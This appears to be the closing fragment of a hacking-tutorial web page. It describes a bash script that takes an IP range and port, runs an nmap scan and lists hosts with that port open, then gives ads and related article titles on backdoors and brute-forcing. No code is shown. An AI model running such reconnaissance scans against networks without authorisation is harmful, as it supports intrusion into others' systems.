script../ScannerscriptAs you can see, the script prompts us for the first IP address, then the last IP address and the port we want to scan for. After collecting this info, it then does the nmap scan and produces a report of all the IP addresses in the range that have the port open that we specified.Stay Tuned for More Scripting...Make certain to save this script as we will return to it in future tutorials and add even more functionality to it as we learn more about shell scripting for hackers.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Python Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:Python Scripting for the Aspiring Hacker, Part 3 (Building an FTP Password Cracker)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Scripting for the Aspiring Hacker, Part 2 (Conditional Statements)How To:Create a Persistent Back Door in Android Using Kali Linux:Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:Even Microsoft Acknowledges the Superiority of the Bash Shell NowHack Like an Elite:Batch Scripting for Malicious Purposes: PART 1 (The Basics)Hack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)Hack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:How to Scan the Globe for Vulnerable Ports & ServicesHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceNews:What to Expect from Null Byte in 2015Hack Like a Pro:Scripting for the Aspiring Hacker, Part 3 (Windows PowerShell)Goodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Bash (Shell) Scripting for BeginnersGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Null Byte Is Calling for Contributors! |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.